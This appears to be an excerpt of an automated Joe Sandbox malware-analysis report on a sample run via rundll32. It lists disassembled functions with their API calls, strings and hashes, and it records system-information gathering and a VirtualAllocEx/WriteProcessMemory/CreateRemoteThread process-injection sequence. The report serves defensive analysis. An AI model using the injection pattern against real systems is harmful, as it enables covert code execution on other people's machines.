Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 436c8a30ae4cff9332464e6c195014e21de890625b0d1a85dd83ab06b134582b
Instruction ID: 16c7031a2f625faa62c3f22f324b9de8bf45983e3766fe80dfc3db8b7e1f059a
Opcode Fuzzy Hash: 436c8a30ae4cff9332464e6c195014e21de890625b0d1a85dd83ab06b134582b
Instruction Fuzzy Hash: 01413771E00208ABCF05EFD4DC54ADDBBB6FF08300F204549E946AB295DB799A15EF90

Function 00FD6059 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00FD607E

Strings

MOC, xrefs: 00FD6090
RCC, xrefs: 00FD6098

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 57f54a3442cd3242001f3f2ee4e7f6f9c81fee77f05438dc34b542cd789a4224
Instruction ID: 64ff8d1ef35022db51953d5e478f2803d2583112b1ae183c4d2f90ad63e5e41f
Opcode Fuzzy Hash: 57f54a3442cd3242001f3f2ee4e7f6f9c81fee77f05438dc34b542cd789a4224
Instruction Fuzzy Hash: 5D416871D00209EFCF15DF98CC81AAEBBB6FF48714F19815AF908A7212D3359951EB51

Function 00FCDF8F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FCDF96
__cftoe.LIBCMT ref: 00FCE01A

Strings

!%x, xrefs: 00FCDFA7

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: e4bbea54ab17ff03880be0a0fa051dc4993dde1a780516b856389e9546b7fe04
Instruction ID: e573b61ccb8cc6691b1c69ef6e5d34c93ab4ff8df4fe9694b7f729072bb0f576
Opcode Fuzzy Hash: e4bbea54ab17ff03880be0a0fa051dc4993dde1a780516b856389e9546b7fe04
Instruction Fuzzy Hash: 50315871D0020AABDF04DF94E982BEEB7B6FF48304F10441DF905A7251DB79AA45DB64

Function 00FD19FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FD1A01
__cftoe.LIBCMT ref: 00FD1A7F

Strings

!%x, xrefs: 00FD1A15

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: bdb4dd7d24e8bc61af56e8c3c13faf71acb162fbf7625e3d79ee0d6902e7834d
Instruction ID: c477bd5ffef94c2328c46b6af19e81cdd486afd471d6971d2f630f58464d67af
Opcode Fuzzy Hash: bdb4dd7d24e8bc61af56e8c3c13faf71acb162fbf7625e3d79ee0d6902e7834d
Instruction Fuzzy Hash: 9E313972D15259AFDF05DF94DC41AEEBBB6BF09300F18001AF844A7342D7799A45EBA0

Function 00FB5F40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00FB5F86
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,8F6E4A30), ref: 00FB5FF6

Strings

Invalid SID, xrefs: 00FB5FD4

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: 28ad464436760a8bc11446c3cdd1e48d6e0e208f9eb0a469b892122027de2a27
Instruction ID: fbabad70265b851a6634fcfeead4f9d153316793c0762a0f73d5f6c09e081526
Opcode Fuzzy Hash: 28ad464436760a8bc11446c3cdd1e48d6e0e208f9eb0a469b892122027de2a27
Instruction Fuzzy Hash: 76218C75A046099BDB14DF59C815BBFBBF8EF44B14F100A1EE401A7780D7BAAA04DBD0

Function 00FB9070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00FB909B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00FB90FE

Strings

bad locale name, xrefs: 00FB9121

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 86f3c98ce2bc6b88971024dec0c7dd17f26ff56fabdd04a2cd3d33009c0ac52a
Instruction ID: d79c78da974bdc56541078bc1cc1a5f1240e7c66447ba52d52bd3ee5fa70a79b
Opcode Fuzzy Hash: 86f3c98ce2bc6b88971024dec0c7dd17f26ff56fabdd04a2cd3d33009c0ac52a
Instruction Fuzzy Hash: FA210270809784DED321CFA8C904B8BBFF4EF19310F00868DE09997781D7B9A604CBA1

Function 00FBF098 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FBF09F

Strings

true, xrefs: 00FBF109
false, xrefs: 00FBF0F6

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: 4f07fdb0f4cdb3fe7b309b0019efe0e4d72702c16d4dcda1328bac8cc5dd3527
Instruction ID: 1dc80477594feb3c871b7fd6f3a3acc2470af7730a2733c02e8fed2b1121e85b
Opcode Fuzzy Hash: 4f07fdb0f4cdb3fe7b309b0019efe0e4d72702c16d4dcda1328bac8cc5dd3527
Instruction Fuzzy Hash: 0E11AC75940745AED721EFB5CC41BCAB7F4AB05300F14891AE5A2CB292EA34A508AB90

Function 00FB4070 Relevance: 5.2, APIs: 4, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,00FB4261,00FF4400,000000FF,8F6E4A30,00000000,?,00000000,?,?,?,00FF4400,000000FF,?,00FB3A75,?), ref: 00FB4096
LocalAlloc.KERNEL32(00000040,40000022,8F6E4A30,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00FB4154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,8F6E4A30,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00FB4177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00FB4217

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: b8a3cc632cdcd55fed907fa846dbd9a6fd8c0ea6ee86ab03814d90c0d44f50f1
Instruction ID: 324e46309f732c17b651a78611df481f6c3c70c3793b0817e33970e38f5d5180
Opcode Fuzzy Hash: b8a3cc632cdcd55fed907fa846dbd9a6fd8c0ea6ee86ab03814d90c0d44f50f1
Instruction Fuzzy Hash: 2151BAB1E002069FCB18DF6DCA85AAEBBA5EB48350F14462DE925E7381D734A940DF90

Function 00FB1D80 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,00000000,?,00000000), ref: 00FB1E01
LocalAlloc.KERNEL32(00000040,7FFFFFFF,00000000,?,00000000), ref: 00FB1E21
LocalFree.KERNEL32(7FFFFFFE,?,00000000), ref: 00FB1EA7
LocalFree.KERNEL32(00000001,8F6E4A30,00000000,00000000,00FF3C40,000000FF,?,00000000), ref: 00FB1F2D

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: c382ec009d142da251d342395a073ebe0ffbf3b4f0c6430611a2b8f908a09686
Instruction ID: d41a3dc1d4ac27c489716052c2a03b0601426ec5e8f6f1914e1c3ca85ca0c724
Opcode Fuzzy Hash: c382ec009d142da251d342395a073ebe0ffbf3b4f0c6430611a2b8f908a09686
Instruction Fuzzy Hash: 4F51E272A042159FC715EF29DC80AABB7E9FF48360F500A2EF856D7290DB70E904DB91

Analysis Process: rundll32.exePID: 5880, Parent PID: 2924COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	99.2%
Signature Coverage:	12.5%
Total number of Nodes:	1088
Total number of Limit Nodes:	64

Executed Functions

Function 0000000180055C62 Relevance: 24.3, APIs: 2, Strings: 14, Instructions: 326
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0000000180055D76
VirtualAlloc.KERNELBASE ref: 0000000180055EDE

Strings

MC1t, xrefs: 0000000180055C89
nEhx, xrefs: 0000000180055E0E
r, xrefs: 0000000180055CC6
3, xrefs: 0000000180055CD6
$=, xrefs: 0000000180055CEE
eBOO, xrefs: 0000000180055C91
k, xrefs: 0000000180055CBE
bIfh, xrefs: 0000000180055C99
., xrefs: 0000000180055CDE
l, xrefs: 0000000180055CE6
^qE?, xrefs: 0000000180055CA1
sYP, xrefs: 0000000180055CB6
e, xrefs: 0000000180055CCE
ioAU, xrefs: 0000000180055CAE

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID: $=$.$3$MC1t$^qE?$bIfh$e$eBOO$ioAU$k$l$nEhx$r$sYP
API String ID: 4275171209-1846638993
Opcode ID: 43cc6e01d3af8756f24444348060f7009d82bdb323a80667e739bd446e939b0d
Instruction ID: 0aba12783aff90d63c6f286ccc0a077e7894613a05cce7ad61c0a4bd09775adc
Opcode Fuzzy Hash: 43cc6e01d3af8756f24444348060f7009d82bdb323a80667e739bd446e939b0d
Instruction Fuzzy Hash: 7CD1103270168887EB55CF25E4147AD7BA1F749BC8F488025FE8D5BB85EE39DA49C700

Function 000001FF4CAF4D00 Relevance: 10.8, APIs: 7, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 000001FF4CAF4D92
GetComputerNameExW.KERNELBASE ref: 000001FF4CAF4DA7
GetComputerNameExW.KERNELBASE ref: 000001FF4CAF4DD6
GetTokenInformation.KERNELBASE ref: 000001FF4CAF4E12
GetNativeSystemInfo.KERNELBASE ref: 000001FF4CAF4EC4
GetAdaptersInfo.IPHLPAPI ref: 000001FF4CAF4FB0
GetAdaptersInfo.IPHLPAPI ref: 000001FF4CAF4FF5

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: InfoName$AdaptersComputer$InformationNativeSystemTokenUser
String ID:
API String ID: 1596153048-0
Opcode ID: d368cccdfef71661db8cb31f21f933e0a353851399cf2fd5481ceac7886dac6e
Instruction ID: d75a71647335e16d5204bedfa28c6f6e0c251375c2fba80c83d207dfebb8f3da
Opcode Fuzzy Hash: d368cccdfef71661db8cb31f21f933e0a353851399cf2fd5481ceac7886dac6e
Instruction Fuzzy Hash: 32A1A530218F058FEB54EB15E8667EBB7E5FF94300F40457DA44AC3291EAB4D946CB92

Function 0000000273F41380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
injectionsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 0000000273F413A0
VirtualAllocEx.KERNEL32 ref: 0000000273F413C3
WriteProcessMemory.KERNEL32 ref: 0000000273F413F8
CreateRemoteThread.KERNEL32 ref: 0000000273F4142E
WaitForSingleObject.KERNEL32 ref: 0000000273F41448

Strings

@, xrefs: 0000000273F413A6

Memory Dump Source

Source File: 00000006.00000002.3331451655.0000000273F41000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000273F40000, based on PE: true

Associated: 00000006.00000002.3331409929.0000000273F40000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3331451655.0000000273F85000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_273f40000_rundll32.jbxd

Similarity

API ID: AllocCreateMemoryObjectProcessRemoteSingleSleepThreadVirtualWaitWrite
String ID: @
API String ID: 3172812169-2766056989
Opcode ID: 7fcec4437536d1c811a67ff0d3e935be9d4b92fa0fac673d0b509e6aa8ba7f62
Instruction ID: 70ca693b3c1452cbeb4233b6b91bedeb956dc212f3bce1284f7759b325db5040
Opcode Fuzzy Hash: 7fcec4437536d1c811a67ff0d3e935be9d4b92fa0fac673d0b509e6aa8ba7f62
Instruction Fuzzy Hash: 5F117F22709E9042F6A0CF26BC08B5666A0B789FF4F644324EFBD17BE5DB38C6059605

Function 000001FF4CAEF3A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 215
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000001FF4CAEF406
Thread32First.KERNEL32 ref: 000001FF4CAEF42B
Thread32Next.KERNEL32 ref: 000001FF4CAEF602

Strings

0, xrefs: 000001FF4CAEF47E

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: Thread32$CreateFirstNextSnapshotToolhelp32
String ID: 0
API String ID: 3779972765-4108050209
Opcode ID: c2136968b619a1c25bf9ca9a098df95eb749b5ae94065cfc9453c6e842ee3bcc
Instruction ID: 130b3ce302a632e6cd1fcbf65161b32e72b8faedfb790ef99c022f570c99af2e
Opcode Fuzzy Hash: c2136968b619a1c25bf9ca9a098df95eb749b5ae94065cfc9453c6e842ee3bcc
Instruction Fuzzy Hash: E9715F30218B498FE794EF29D855BEBB7E5FF88300F50457DA58DC3292DBB094468B92

Function 00007DF459570100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

@, xrefs: 00007DF459570237

Memory Dump Source

Source File: 00000006.00000003.2476801129.00007DF459570000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF459570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_7df459570000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: @
API String ID: 3332741929-2766056989
Opcode ID: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction ID: 4037b94948a7d9021533d63a5c9d24bbc455437d2f8887dd752fed62c7c95525
Opcode Fuzzy Hash: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction Fuzzy Hash: EE71CD3161494C8FEB94EF68C858BAD37E1FB98355F104226E81ED73A0DB74D954CB84

Function 000001FF4CAD1600 Relevance: 1.7, APIs: 1, Instructions: 169
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 000001FF4CAD1794

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 08f32d5bea543a41f381197dcaa5b21a13284e4198c1253caaeec1b6dd19c5dc
Instruction ID: d57d51d66012de59d098690238c4056b668bdf21f280062ca13bd8723b8dc030
Opcode Fuzzy Hash: 08f32d5bea543a41f381197dcaa5b21a13284e4198c1253caaeec1b6dd19c5dc
Instruction Fuzzy Hash: B251D274108E094FE748EF28E8597F677E1FB56311F10127DE49AC32A2DA78E802CB95

Function 000001FF4CADCCE0 Relevance: 1.6, APIs: 1, Instructions: 114
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrGetProcedureAddress.NTDLL ref: 000001FF4CADCDB2

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID:
API String ID: 3653107232-0
Opcode ID: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction ID: a1c81268ac38ecb6163904c4fc687e26d8d816332a4eaa8d396f5ac05eb3d3f5
Opcode Fuzzy Hash: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction Fuzzy Hash: 2131B231118B194BD668AF08EC467FBB7E1FB85310F50167EE5C6C3252E670A8868BD7

Function 000001FF4CAE55C0 Relevance: .9, Instructions: 926COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: CreateFirstSnapshotThread32Toolhelp32
String ID:
API String ID: 490256885-0
Opcode ID: 8947cd77792b9eb167b6165044dfe8b86d8111add7710d331631fdbc473ca148
Instruction ID: 992fb10a2c04b70258473829160b5c5857c99ce5a9d0d06986ab27bedc115690
Opcode Fuzzy Hash: 8947cd77792b9eb167b6165044dfe8b86d8111add7710d331631fdbc473ca148
Instruction Fuzzy Hash: 40727330118F198FE7A4EF18D895BE677E0FB98304F1545BD944DC72A6DB70A846CB82

Function 000001FF4CAD17B0 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20a959d714a7abf9f0da5987a6fc1497fd2130fdd83c0d3aa6bad73de8a86e0
Instruction ID: 052c845032224b4fddabf5d64021b30ddb7b463968e7974c4ab850a8206e9499
Opcode Fuzzy Hash: e20a959d714a7abf9f0da5987a6fc1497fd2130fdd83c0d3aa6bad73de8a86e0
Instruction Fuzzy Hash: D7C1D134118E4A8FE754EF58E8687EAB7E1FF55310F5051BDE48AC32A2DBB09842CB51

Function 000001FF4CAD71B0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27eee718951805be4d6d661cb21cbd310f36feb23d9644bec408e17137dbdd0c
Instruction ID: 625b1b42bb5f769cbff26682836d39bb1860882f84071f84d02946569100898b
Opcode Fuzzy Hash: 27eee718951805be4d6d661cb21cbd310f36feb23d9644bec408e17137dbdd0c
Instruction Fuzzy Hash: A3416270124A498FF348DF28D8557ABB7E1FB48314F50567DE45AC32D6DBB88846CB81

Function 000001FF4CB04360 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 246b04183441d9db0d4c236240df2ca26f18e78107733016fa740d2a375581b5
Instruction ID: 3c40f27ff9888784dce4c2a0249dac45be2b69f9156dddc64d1259297dc5eba4
Opcode Fuzzy Hash: 246b04183441d9db0d4c236240df2ca26f18e78107733016fa740d2a375581b5
Instruction Fuzzy Hash: 38412CB151CB488FE6749F09A8467FAB7E0FB99720F00492FD5C983652DA71A4428BC3

Function 000001FF4CB045F0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7425b9f205f2e48f6743ce85b3d4803992b94f2dd7c42288ff67dbf43d2a16d5
Instruction ID: 91b0fdbf1bce117b770b78392351e430b6d1d50d603601e4c17dcc51bda03405
Opcode Fuzzy Hash: 7425b9f205f2e48f6743ce85b3d4803992b94f2dd7c42288ff67dbf43d2a16d5
Instruction Fuzzy Hash: BB218E7061DB559BE754DB09E8467EAB7E4FB88721F200A2FE448C3761E6749481CB83

Function 000001FF4CB03F40 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38f81910f3a60e41c97a405c41efcb50c28e990bd7599c8c7593531c701bee66
Instruction ID: 9d127c771c200b6550c94bcccba11fa3a3c51ee2db2b50040c12ac479bfda934
Opcode Fuzzy Hash: 38f81910f3a60e41c97a405c41efcb50c28e990bd7599c8c7593531c701bee66
Instruction Fuzzy Hash: 9911A23061DB458FEB549B09A84A7FBB7E0FB98321F00592FE489C2660D7B594818783

Function 000001FF4CB04BE0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4459b4d784854b5074084b1eb2e58009c50c2c7bf0fd286647bf740f6eacac18
Instruction ID: 1d11bae061754288af553dbc522c308d8f8876fcc44082df536b3202bee2edd9
Opcode Fuzzy Hash: 4459b4d784854b5074084b1eb2e58009c50c2c7bf0fd286647bf740f6eacac18
Instruction Fuzzy Hash: A311B231658F4A8FEA64AF4998467BA73D4EB48315F40443EE449C26A1D6B598818B83

Function 000001FF4CB051C0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9efb2dc69225788838bd08ce1b571aed7e5ff7df66dff9cf99eed66fee9a7a8
Instruction ID: 88b2bcfd009d4dad83e70b8958b68b7a6c41b0d504b783514ce30f6674cc5c75
Opcode Fuzzy Hash: c9efb2dc69225788838bd08ce1b571aed7e5ff7df66dff9cf99eed66fee9a7a8
Instruction Fuzzy Hash: 6011B230658B494FEB54DB0898467BA73E4EB89315F40443EE889C2A50D6B598818B83

Function 000001FF4C9CDACE Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

